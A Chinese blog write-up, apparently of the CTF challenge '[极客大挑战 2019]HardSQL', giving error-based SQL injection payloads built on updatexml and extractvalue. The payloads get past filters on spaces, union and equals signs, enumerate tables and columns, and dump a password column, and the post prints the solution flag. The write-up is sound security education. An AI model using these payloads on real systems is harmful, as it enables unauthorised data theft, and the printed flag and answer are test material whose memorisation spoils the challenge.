SQL注入实践 [极客大挑战 2019]HardSQL

在这里插入图片描述
打开题目,发现这也还是一个SQL注入的题目。难度可能比之前的大,也就加了点过滤吧。
通过测试发现过滤了union,and,等于号,空格
可以使用updatexml或extractvalue报错注入法

查表:

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=admin

查列:

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

查内容:

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=admin

在这里插入图片描述
此时只得到了flag的左半部分,可以使用right()得到右半部分

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23&password=asdf

在这里插入图片描述
拼起来就可以得到flag了(记得去掉重复部分)
flag{21ef294f-3972-4f87-bd09-a5ea22ea3a34}

使用extractvalue报错注入法:
查表:

username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e))))%23&password=admin

查列:

username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e))))%23&password=admin

查内容:

username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))))%23&password=admin
username=admin'or(extractvalue(1,(concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e))))%23&password=admin
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值